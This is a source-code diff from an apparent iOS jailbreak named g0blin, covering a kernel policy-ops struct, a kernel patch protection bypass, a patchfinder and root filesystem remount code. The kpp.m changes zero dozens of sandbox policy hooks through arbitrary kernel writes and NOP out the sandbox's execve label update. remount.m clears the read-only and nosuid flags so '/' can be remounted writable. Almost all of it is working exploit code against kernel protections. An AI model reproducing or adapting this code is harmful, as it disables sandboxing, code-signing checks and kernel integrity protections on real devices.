+//    uint64_t mpo_proc_check_get_task_name;
+//    uint64_t mpo_proc_check_get_task;
+//    uint64_t mpo_proc_check_getaudit;
+//    uint64_t mpo_proc_check_getauid;
+//    uint64_t mpo_proc_check_getlcid;
+//    uint64_t mpo_proc_check_mprotect;
+//    uint64_t mpo_proc_check_sched;
+//    uint64_t mpo_proc_check_setaudit;
+//    uint64_t mpo_proc_check_setauid;
+//    uint64_t mpo_proc_check_setlcid;
+//    uint64_t mpo_proc_check_signal;
+//    uint64_t mpo_proc_check_wait;
+//    uint64_t mpo_proc_label_destroy;
+//    uint64_t mpo_proc_label_init;
+//    uint64_t mpo_socket_check_accept;
+//    uint64_t mpo_socket_check_accepted;
+//    uint64_t mpo_socket_check_bind;
+//    uint64_t mpo_socket_check_connect;
+//    uint64_t mpo_socket_check_create;
+//    uint64_t mpo_socket_check_deliver;
+//    uint64_t mpo_socket_check_kqfilter;
+//    uint64_t mpo_socket_check_label_update;
+//    uint64_t mpo_socket_check_listen;
+//    uint64_t mpo_socket_check_receive;
+//    uint64_t mpo_socket_check_received;
+//    uint64_t mpo_socket_check_select;
+//    uint64_t mpo_socket_check_send;
+//    uint64_t mpo_socket_check_stat;
+//    uint64_t mpo_socket_check_setsockopt;
+//    uint64_t mpo_socket_check_getsockopt;
+//    uint64_t mpo_socket_label_associate_accept;
+//    uint64_t mpo_socket_label_associate;
+//    uint64_t mpo_socket_label_copy;
+//    uint64_t mpo_socket_label_destroy;
+//    uint64_t mpo_socket_label_externalize;
+//    uint64_t mpo_socket_label_init;
+//    uint64_t mpo_socket_label_internalize;
+//    uint64_t mpo_socket_label_update;
+//    uint64_t mpo_socketpeer_label_associate_mbuf;
+//    uint64_t mpo_socketpeer_label_associate_socket;
+//    uint64_t mpo_socketpeer_label_destroy;
+//    uint64_t mpo_socketpeer_label_externalize;
+//    uint64_t mpo_socketpeer_label_init;
+//    uint64_t mpo_system_check_acct;
+//    uint64_t mpo_system_check_audit;
+//    uint64_t mpo_system_check_auditctl;
+//    uint64_t mpo_system_check_auditon;
+//    uint64_t mpo_system_check_host_priv;
+//    uint64_t mpo_system_check_nfsd;
+//    uint64_t mpo_system_check_reboot;
+//    uint64_t mpo_system_check_settime;
+//    uint64_t mpo_system_check_swapoff;
+//    uint64_t mpo_system_check_swapon;
+//    uint64_t mpo_reserved7;
+//    uint64_t mpo_sysvmsg_label_associate;
+//    uint64_t mpo_sysvmsg_label_destroy;
+//    uint64_t mpo_sysvmsg_label_init;
+//    uint64_t mpo_sysvmsg_label_recycle;
+//    uint64_t mpo_sysvmsq_check_enqueue;
+//    uint64_t mpo_sysvmsq_check_msgrcv;
+//    uint64_t mpo_sysvmsq_check_msgrmid;
+//    uint64_t mpo_sysvmsq_check_msqctl;
+//    uint64_t mpo_sysvmsq_check_msqget;
+//    uint64_t mpo_sysvmsq_check_msqrcv;
+//    uint64_t mpo_sysvmsq_check_msqsnd;
+//    uint64_t mpo_sysvmsq_label_associate;
+//    uint64_t mpo_sysvmsq_label_destroy;
+//    uint64_t mpo_sysvmsq_label_init;
+//    uint64_t mpo_sysvmsq_label_recycle;
+//    uint64_t mpo_sysvsem_check_semctl;
+//    uint64_t mpo_sysvsem_check_semget;
+//    uint64_t mpo_sysvsem_check_semop;
+//    uint64_t mpo_sysvsem_label_associate;
+//    uint64_t mpo_sysvsem_label_destroy;
+//    uint64_t mpo_sysvsem_label_init;
+//    uint64_t mpo_sysvsem_label_recycle;
+//    uint64_t mpo_sysvshm_check_shmat;
+//    uint64_t mpo_sysvshm_check_shmctl;
+//    uint64_t mpo_sysvshm_check_shmdt;
+//    uint64_t mpo_sysvshm_check_shmget;
+//    uint64_t mpo_sysvshm_label_associate;
+//    uint64_t mpo_sysvshm_label_destroy;
+//    uint64_t mpo_sysvshm_label_init;
+//    uint64_t mpo_sysvshm_label_recycle;
+//    uint64_t mpo_reserved8;
+//    uint64_t mpo_reserved9;
+//    uint64_t mpo_vnode_check_getattr;
+//    uint64_t mpo_mount_check_snapshot_create;
+//    uint64_t mpo_mount_check_snapshot_delete;
+//    uint64_t mpo_vnode_check_clone;
+//    uint64_t mpo_proc_check_get_cs_info;
+//    uint64_t mpo_proc_check_set_cs_info;
+//    uint64_t mpo_iokit_check_hid_control;
+//    uint64_t mpo_vnode_check_access;
+//    uint64_t mpo_vnode_check_chdir;
+//    uint64_t mpo_vnode_check_chroot;
+//    uint64_t mpo_vnode_check_create;
+//    uint64_t mpo_vnode_check_deleteextattr;
+//    uint64_t mpo_vnode_check_exchangedata;
+//    uint64_t mpo_vnode_check_exec;
+//    uint64_t mpo_vnode_check_getattrlist;
+//    uint64_t mpo_vnode_check_getextattr;
+//    uint64_t mpo_vnode_check_ioctl;
+//    uint64_t mpo_vnode_check_kqfilter;
+//    uint64_t mpo_vnode_check_label_update;
+//    uint64_t mpo_vnode_check_link;
+//    uint64_t mpo_vnode_check_listextattr;
+//    uint64_t mpo_vnode_check_lookup;
+//    uint64_t mpo_vnode_check_open;
+//    uint64_t mpo_vnode_check_read;
+//    uint64_t mpo_vnode_check_readdir;
+//    uint64_t mpo_vnode_check_readlink;
+//    uint64_t mpo_vnode_check_rename_from;
+//    uint64_t mpo_vnode_check_rename_to;
+//    uint64_t mpo_vnode_check_revoke;
+//    uint64_t mpo_vnode_check_select;
+//    uint64_t mpo_vnode_check_setattrlist;
+//    uint64_t mpo_vnode_check_setextattr;
+//    uint64_t mpo_vnode_check_setflags;
+//    uint64_t mpo_vnode_check_setmode;
+//    uint64_t mpo_vnode_check_setowner;
+//    uint64_t mpo_vnode_check_setutimes;
+//    uint64_t mpo_vnode_check_stat;
+//    uint64_t mpo_vnode_check_truncate;
+//    uint64_t mpo_vnode_check_unlink;
+//    uint64_t mpo_vnode_check_write;
+//    uint64_t mpo_vnode_label_associate_devfs;
+//    uint64_t mpo_vnode_label_associate_extattr;
+//    uint64_t mpo_vnode_label_associate_file;
+//    uint64_t mpo_vnode_label_associate_pipe;
+//    uint64_t mpo_vnode_label_associate_posixsem;
+//    uint64_t mpo_vnode_label_associate_posixshm;
+//    uint64_t mpo_vnode_label_associate_singlelabel;
+//    uint64_t mpo_vnode_label_associate_socket;
+//    uint64_t mpo_vnode_label_copy;
+//    uint64_t mpo_vnode_label_destroy;
+//    uint64_t mpo_vnode_label_externalize_audit;
+//    uint64_t mpo_vnode_label_externalize;
+//    uint64_t mpo_vnode_label_init;
+//    uint64_t mpo_vnode_label_internalize;
+//    uint64_t mpo_vnode_label_recycle;
+//    uint64_t mpo_vnode_label_store;
+//    uint64_t mpo_vnode_label_update_extattr;
+//    uint64_t mpo_vnode_label_update;
+//    uint64_t mpo_vnode_notify_create;
+//    uint64_t mpo_vnode_check_signature;
+//    uint64_t mpo_vnode_check_uipc_bind;
+//    uint64_t mpo_vnode_check_uipc_connect;
+//    uint64_t mpo_proc_check_run_cs_invalid;
+//    uint64_t mpo_proc_check_suspend_resume;
+//    uint64_t mpo_thread_userret;
+//    uint64_t mpo_iokit_check_set_properties;
+//    uint64_t mpo_system_check_chud;
+//    uint64_t mpo_vnode_check_searchfs;
+//    uint64_t mpo_priv_check;
+//    uint64_t mpo_priv_grant;
+//    uint64_t mpo_proc_check_map_anon;
+//    uint64_t mpo_vnode_check_fsgetpath;
+//    uint64_t mpo_iokit_check_open;
+//    uint64_t mpo_proc_check_ledger;
+//    uint64_t mpo_vnode_notify_rename;
+//    uint64_t mpo_vnode_check_setacl;
+//    uint64_t mpo_vnode_notify_deleteextattr;
+//    uint64_t mpo_system_check_kas_info;
+//    uint64_t mpo_proc_check_cpumon;
+//    uint64_t mpo_vnode_notify_open;
+//    uint64_t mpo_system_check_info;
+//    uint64_t mpo_pty_notify_grant;
+//    uint64_t mpo_pty_notify_close;
+//    uint64_t mpo_vnode_find_sigs;
+//    uint64_t mpo_kext_check_load;
+//    uint64_t mpo_kext_check_unload;
+//    uint64_t mpo_proc_check_proc_info;
+//    uint64_t mpo_vnode_notify_link;
+//    uint64_t mpo_iokit_check_filter_properties;
+//    uint64_t mpo_iokit_check_get_property;
+//};
+
+
+//------------------------------------------------------------------------------
+// From Tihmstar
+//------------------------------------------------------------------------------
+struct mac_policy_ops{
     uint64_t mpo_audit_check_postselect;
     uint64_t mpo_audit_check_preselect;
     uint64_t mpo_bpfdesc_label_associate;
@@ -171,12 +517,12 @@ struct mac_policy_ops {
     uint64_t mpo_exc_action_label_destroy;
     uint64_t mpo_exc_action_label_init;
     uint64_t mpo_exc_action_label_update;
-    uint64_t mpo_reserved1;
-    uint64_t mpo_reserved2;
-    uint64_t mpo_reserved3;
-    uint64_t mpo_reserved4;
-    uint64_t mpo_reserved5;
-    uint64_t mpo_reserved6;
+    uint64_t mpo_reserved_hook;
+    uint64_t mpo_reserved_hook_t1;
+    uint64_t mpo_reserved_hook_t2;
+    uint64_t mpo_reserved_hook_t3;
+    uint64_t mpo_reserved_hook_t4;
+    uint64_t mpo_reserved_hook_t5;
     uint64_t mpo_posixsem_check_create;
     uint64_t mpo_posixsem_check_open;
     uint64_t mpo_posixsem_check_post;
@@ -249,7 +595,7 @@ struct mac_policy_ops {
     uint64_t mpo_system_check_settime;
     uint64_t mpo_system_check_swapoff;
     uint64_t mpo_system_check_swapon;
-    uint64_t mpo_reserved7;
+    uint64_t mpo_reserved_hook_t6;
     uint64_t mpo_sysvmsg_label_associate;
     uint64_t mpo_sysvmsg_label_destroy;
     uint64_t mpo_sysvmsg_label_init;
@@ -280,8 +626,8 @@ struct mac_policy_ops {
     uint64_t mpo_sysvshm_label_destroy;
     uint64_t mpo_sysvshm_label_init;
     uint64_t mpo_sysvshm_label_recycle;
-    uint64_t mpo_reserved8;
-    uint64_t mpo_reserved9;
+    uint64_t mpo_reserved_hook_t7;
+    uint64_t mpo_mount_check_snapshot_revert;
     uint64_t mpo_vnode_check_getattr;
     uint64_t mpo_mount_check_snapshot_create;
     uint64_t mpo_mount_check_snapshot_delete;
@@ -374,6 +720,8 @@ struct mac_policy_ops {
     uint64_t mpo_iokit_check_get_property;
 };
 
+
+
 kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
 kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
 kern_return_t mach_vm_protect(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);

+ 36 - 9
g0blin/kpp.m

@@ -3,20 +3,20 @@
 //  g0blin
 //
 //  Created by Sticktron on 2017-12-26.
-//  Copyright © 2017 xerub. All rights reserved.
 //  Copyright © 2017 qwertyoruiop. All rights reserved.
 //
 
 #include "kpp.h"
 #include "kernel.h"
 
-// @qwertyoruiop's KPP bypass
+
+// This is @qwertyoruiop's KPP bypass from Yalu102 -----------------------------
 
 #import "pte_stuff.h"
 #include "patchfinder64.h"
 
 
-kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0, uint64_t credpatch) {
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
     kern_return_t ret;
     
     checkvad();
@@ -407,14 +407,22 @@ remappage[remapcnt++] = (x & (~PMK));\
         }
 
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0); //2x
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property)), 0); //ts
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork)), 0); //ts
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_run_cs_invalid)), 0); //test
+        
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl)), 0);
@@ -422,20 +430,39 @@ remappage[remapcnt++] = (x & (~PMK));\
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
+        
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0); //2x
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_write)), 0);
+
         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
-        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
+        
+        // mpo_cred_check_label_update_execve - tihmstar
+        // WARNING - has to patched like this or Widgets (and javascript?) fail.
+        {
+            uint64_t offset_sandbox_label_update_execve = find_sandbox_label_update_execve();
+            LOG("find_sandbox_label_update_execve = 0x%llx", offset_sandbox_label_update_execve);
+            LOG("was looking for: 0xfffffff006c35fb8");
+            
+            //----------- TEMP FIX --------------//
+            //offset_sandbox_label_update_execve = 0xfffffff006c35fb8;
+            //----------- TEMP FIX --------------//
+            
+            offset_sandbox_label_update_execve += slide;
+            
+            #define INSN_NOP  0xd503201f
+            RemapPage(offset_sandbox_label_update_execve);
+            WriteAnywhere32(NewPointer(offset_sandbox_label_update_execve), INSN_NOP);
+        }
     }
     
     {

+ 0 - 4
g0blin/offsets.h

@@ -20,15 +20,11 @@ extern uint64_t OFFSET_BZERO;
 extern uint64_t OFFSET_BCOPY;
 extern uint64_t OFFSET_COPYIN;
 extern uint64_t OFFSET_COPYOUT;
-//extern uint64_t OFFSET_CHGPROCCNT;
-//extern uint64_t OFFSET_KAUTH_CRED_REF;
 extern uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
 extern uint64_t OFFSET_IPC_KOBJECT_SET;
 extern uint64_t OFFSET_IPC_PORT_MAKE_SEND;
 extern uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
-extern uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
 extern uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
-//extern uint64_t OFFSET_ROP_LDR_X0_X0_0x10;
 extern uint64_t OFFSET_ROOT_MOUNT_V_NODE;
 
 kern_return_t init_offsets(void);

File diff suppressed because it is too large
+ 1995 - 45
g0blin/offsets.m


+ 36 - 1
g0blin/patchfinder64.c

@@ -1098,7 +1098,7 @@ addr_t
 find_allproc(void)
 {
     addr_t val, bof, str8;
-    addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
+    addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); // modified
     if (!ref) {
         return 0;
     }
@@ -1196,6 +1196,41 @@ find_symbol(const char *symbol)
     return 0;
 }
 
+
+/* g0blin ****z****************************************************************/
+addr_t find_sandbox_label_update_execve(void) {
+    
+    addr_t ref = 0;
+    
+    for (int i = 1; (ref  = find_strref("process-exec denied", i, 1)); i++) {
+        if (ref) {
+            printf("found process-exec denied at: 0x%llx\n", ref);
+            break;
+        }
+    }
+    
+    addr_t off, what;
+    uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"process-exec denied", sizeof("process-exec denied") - 1);
+    if (str) {
+        what = str - kernel + kerndumpbase;
+        for (off = 0; off < kernel_size - prelink_base; off += 8) {
+            if (*(uint64_t *)(kernel + prelink_base + off) == what) {
+                ref = *(uint64_t *)(kernel + prelink_base + off + 24);
+                printf("found process-exec denied at: 0x%llx\n", ref);
+                break;
+            }
+        }
+    }
+    
+    printf("ref = 0x%llx\n", ref);
+    
+    ref =  ref - 0x368;
+    
+    return ref;
+}
+
+
+
 /* test **********************************************************************/
 
 /*

+ 4 - 0
g0blin/patchfinder64.h

@@ -3,6 +3,7 @@
 //  extra_recipe
 //
 //  Copyright © 2017 xerub. All rights reserved.
+//  Modified by Sticktron.
 //
 
 #ifndef PATCHFINDER64_H_
@@ -40,4 +41,7 @@ uint64_t find_amficache(void);
 
 uint64_t find_allproc(void);
 
+uint64_t find_sandbox_label_update_execve(void);
+
+
 #endif

+ 0 - 5
g0blin/reload

@@ -1,11 +1,6 @@
 #!/bin/sh
 ls /etc/rc.d | while read a; do /etc/rc.d/$a; done
 sleep 1
-launchctl unload $(ls /System/Library/LaunchDaemons/ | grep -v logd | grep -v fud | grep -v ReportCrash | while read a; do printf /System/Library/LaunchDaemons/$a\ ; done)
-launchctl unload /System/Library/NanoLaunchDaemons
-sleep 1
 launchctl load /Library/LaunchDaemons
-launchctl load /System/Library/LaunchDaemons
-launchctl load /System/Library/NanoLaunchDaemons
 
 exit 0

+ 5 - 13
g0blin/remount.m

@@ -12,33 +12,26 @@
 #include "kernel.h"
 #include <sys/mount.h>
 
-
 #define KSTRUCT_OFFSET_MOUNT_MNT_FLAG   0x70
 #define KSTRUCT_OFFSET_VNODE_V_UN       0xd8
 
-
 kern_return_t do_remount(uint64_t slide) {
-    
-    // feat. nosuid patch by coolstar
-    
     uint64_t _rootnode = OFFSET_ROOT_MOUNT_V_NODE + slide;
     uint64_t rootfs_vnode = rk64(_rootnode);
     
     // read flags
     uint64_t v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
-//    uint32_t v_flag = rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1);
     uint32_t v_flag = rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG);
+    
+    // unset readonly, nosuid
     v_flag = v_flag & ~MNT_NOSUID;
     v_flag = v_flag & ~MNT_RDONLY;
     
-
-    // unset rootfs flag
-//    wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag & (~(0x1<<6)));
+    // write new flags, temporarily unsetting rootfs flag
     wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG, v_flag & ~MNT_ROOTFS);
     
     // remount
     char *nmz = strdup("/dev/disk0s1s1");
-//    int lolr = mount("hfs", "/", MNT_UPDATE, (void *)&nmz);
     int lolr = mount("apfs", "/", MNT_UPDATE, (void *)&nmz);
     if (lolr == -1) {
         LOG("ERROR: could not remount '/'");
@@ -46,10 +39,9 @@ kern_return_t do_remount(uint64_t slide) {
     }
     LOG("successfully remounted '/'");
     
-    // set original flags back
+    // set rootfs flag again
     v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
-//    wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag);
     wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG, v_flag);
-
+    
     return KERN_SUCCESS;
 }

BIN
g0blin/y0nkers.m4v